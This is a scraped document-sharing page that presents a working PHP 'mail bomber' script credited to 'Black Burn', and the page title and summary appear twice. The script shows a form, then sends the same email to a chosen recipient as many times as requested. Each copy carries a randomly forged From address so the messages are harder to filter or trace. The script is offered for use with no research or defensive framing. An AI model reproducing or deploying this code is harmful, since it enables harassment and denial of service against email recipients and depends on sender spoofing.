0% found this document useful (0 votes)
398 views

PHP Mail Bomber Script by Black Burn

This PHP script allows a user to send an email message multiple times by submitting a form. It takes the message, email, number of times to send, subject, and recipient from the form and uses a mail() function in a for loop to send the message that number of times, each time with a randomly generated "From" address. If the form is submitted, it echoes a confirmation message. Otherwise, it displays the form to collect the message details.

Uploaded by

rock
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
398 views

PHP Mail Bomber Script by Black Burn

This PHP script allows a user to send an email message multiple times by submitting a form. It takes the message, email, number of times to send, subject, and recipient from the form and uses a mail() function in a for loop to send the message that number of times, each time with a randomly generated "From" address. If the form is submitted, it echoes a confirmation message. Otherwise, it displays the form to collect the message details.

Uploaded by

rock
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

<style type="text/css">

<!-body,td,th {
color: #999999;
font-family: Courier New, Courier, monospace;
}
body {
background-color: #000000;
}
INPUT {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt
}
TEXTAREA {
background-color: black;
border: grey 1px solid;
color: white;
font-family: arial, verdana, ms sans serif;
font-size: 10pt;
font-weight: normal
}
-->
</style>
<?php
if (isset($_REQUEST['message']))
{
$message = $_REQUEST['message'] ;
$email = $_REQUEST['email'] ;
$times = $_REQUEST['times'] ;
$subject = $_REQUEST['subject'] ;
$to = $_REQUEST['to'] ;
for ($i=1; $i<=$times; $i++)
{
mail( "$to", "$subject", $message, "From:" . rand() . "@$email" ) ;
}
echo "sent... o.O";
}
else
{
echo "<form method='post' action='index.php'>
<p align='left'>
Times to send:<br />
<input name='times' type='text' value='1' size='4' maxlength='5' />
<br />
<Input name='email' type='text' value='email suffix' />
<br />
<input name='to' type='text' value='To' />
<br />
<input name='subject' type='text' value='Subject' />
<br />
<br />
Message:<br />
<textarea name='message' rows='15' cols='40'></textarea>
<br />
<br />
<input type='submit' name='send' value='send' />
<input name='reset' type='reset' value='reset' />

</p>
</form>";
}
?>

You might also like